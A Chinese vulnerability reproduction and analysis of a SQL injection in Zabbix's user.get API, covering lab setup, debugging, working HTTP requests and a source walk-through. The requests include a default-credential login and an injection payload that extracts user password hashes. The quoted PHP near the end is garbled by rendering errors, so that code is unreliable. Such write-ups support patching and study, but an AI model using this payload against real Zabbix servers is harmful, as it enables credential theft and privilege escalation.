漏洞简介
Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。
攻击者可以通过API接口,向 user.get API端点发送恶意构造的请求,注入SQL代码,以实现权限提升、数据泄露或系统入侵。
影响版本
6.0.0 <= Zabbix <= 6.0.31
6.4.0 <= Zabbix <= 6.4.16
Zabbix 7.0.0
环境搭建
参考https://forum.butian.net/share/3056
访问https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.0/
选择 *vmx.tar.gz 这个,解压双击.vmx 文件即可导入 Vmware Workstation
然后开机即可,访问机器ip的80端口即可看到 zabbix 登录页面,默认账号密码是root/zabbix
php调试环境搭建
参考https://juejin.cn/post/7201509055713493049
我这里源码从 https://cdn.zabbix.com/zabbix/sources/stable/7.0/ 下载的
虚拟机中没有php命令,但是有php-fpm命令可以用
php-fpm -i获取到配置信息后使用wizard安装php xdebug拓展,这里安装xdebug-3.4.0
cd /tmp
curl https://xdebug.org/files/xdebug-3.4.0.tgz -o xdebug-3.4.0.tgz
tar -xvzf xdebug-3.4.0.tgz
cd xdebug-3.4.0
编译所需环境
yum install -y install gcc automake autoconf libtool make php-devel
phpize
./configue
make
cd module
cp xdebug.so /usr/lib64/php/modules/
然后vi /etc/php.d/99-xdebug.ini 添加行zend_extension = xdebug
然后systemctl restart php-fpm重启 php-fpm,最后php-fpm -v查看是否成功生效
配置php.ini文件,在末尾添加以下内容
xdebug.mode = debug,develop,trace
xdebug.start_with_request = yes
xdebug.client_host = 192.168.182.1
xdebug.client_port = 9003
具体作用可以参考https://xdebug.org/docs/develop
这里是指定vscode所在机子的ip和通信端口(注意要开放这个端口)
然后在vscode添加调试配置,将生成的php xdebug的默认配置改为
{
“name”: “远程调试”,
“type”: “php”,
“request”: “launch”,
“port”: 9003,
“pathMappings”: {
“/usr/share/zabbix”: “${workspaceFolder}/ui”
},
“hostname”: “192.168.182.1”
}
漏洞复现
Zabbix 的addRelatedObjects函数中的CUser类中存在SQL注入,此函数由 CUser.get 函数调用,具有API访问权限的用户可利用造成越权访问高权限用户敏感信息以及执行恶意SQL语句等危害。
首先通过账号密码登录后台
POST /api_jsonrpc.php HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Content-Type: application/json-rpc
Content-Length: 106
{“jsonrpc”: “2.0”, “method”: “user.login”, “params”: {“username”: “Admin”, “password”: “zabbix”}, “id”: 1}
然后SQL注入获取敏感信息
POST /api_jsonrpc.php HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Content-Type: application/json-rpc
Content-Length: 167
{“jsonrpc”: “2.0”, “method”: “user.get”, “params”: {“selectRole”: [“roleid, u.passwd”, “roleid”], “userids”: “1”}, “auth”: “2ae264ef7c19d2c2016a302c64e974c6”, “id”: 1}
漏洞分析
定位漏洞点ui/include/classes/api/services/CUser.php#get这个方法
public function get($options = []) {
$result = [];
$sqlParts = [
‘select’ => [‘users’ => ‘u.userid’],
‘from’ => [‘users’ => ‘users u’],
‘where’ => [],
‘order’ => [],
‘limit’ => null
];
$defOptions = [
‘usrgrpids’ => null,
‘userids’ => null,
‘mediaids’ => null,
‘mediatypeids’ => null,
// filter
‘filter’ => null,
‘search’ => null,
‘searchByAny’ => null,
‘startSearch’ => false,
‘excludeSearch’ => false,
‘searchWildcardsEnabled’ => null,
// output
‘output’ => API_OUTPUT_EXTEND,
‘editable’ => false,
‘selectUsrgrps’ => null,
‘selectMedias’ => null,
‘selectMediatypes’ => null,
‘selectRole’ => null,
‘getAccess’ => null,
‘countOutput’ => false,
‘preservekeys’ => false,
‘sortfield’ => ‘’,
‘sortorder’ => ‘’,
‘limit’ => null
];
o p t i o n s = z b x a r r a y m e r g e ( options = zbx_array_merge( options=zbxarraymerge(defOptions, $options);
// permission check
if (self::KaTeX parse error: Expected '}', got 'EOF' at end of input: …IN) { if (!options[‘editable’]) {
$sqlParts[‘from’][‘users_groups’] = ‘users_groups ug’;
$sqlParts[‘where’][‘uug’] = ‘u.userid=ug.userid’;
s q l P a r t s [ ′ w h e r e ′ ] [ ] = ′ u g . u s r g r p i d I N ( ′ . ′ S E L E C T u u g . u s r g r p i d ′ . ′ F R O M u s e r s g r o u p s u u g ′ . ′ W H E R E u u g . u s e r i d = ′ . s e l f : : sqlParts['where'][] = 'ug.usrgrpid IN ('. ' SELECT uug.usrgrpid'. ' FROM users_groups uug'. ' WHERE uug.userid='.self:: sqlPa